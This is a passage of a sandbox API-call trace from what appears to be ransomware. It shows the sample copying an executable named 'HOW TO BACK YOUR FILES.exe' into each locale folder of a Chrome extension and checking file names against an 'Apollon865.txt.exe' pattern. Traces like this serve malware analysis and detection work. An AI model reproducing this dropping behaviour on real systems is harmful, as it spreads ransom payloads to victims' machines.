	[0049.954] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.954] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.960] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.960] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d9e6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d9e6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.960] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.960] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.960] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB"
	[0049.961] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB"
	[0049.961] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.961] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.965] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.965] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d9e6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d9e6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.965] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.965] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.965] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el"
	[0049.966] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el"
	[0049.966] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.966] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.971] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.971] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d9e6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d9e6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.971] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.971] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.971] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de"
	[0049.971] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de"
	[0049.971] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.971] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.976] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.976] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35dc4810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35dc4810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.976] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.976] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.976] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da"
	[0049.976] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da"
	[0049.976] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.976] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.980] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35dc4810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35dc4810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.980] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.980] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.980] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs"
	[0049.980] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs"
	[0049.980] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.980] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.985] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35dc4810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35dc4810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.985] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.985] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.985] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca"
	[0049.985] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca"
	[0049.985] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.986] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.989] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.989] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35dea970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35dea970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.990] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.990] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.990] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg"
	[0049.990] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg"
	[0049.990] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.990] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.994] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35dea970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35dea970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.994] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.994] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.994] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar"
	[0049.994] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar"
	[0049.994] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.994] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.998] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.998] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35dea970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35dea970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.998] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.998] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.999] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek"
	[0049.999] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek"
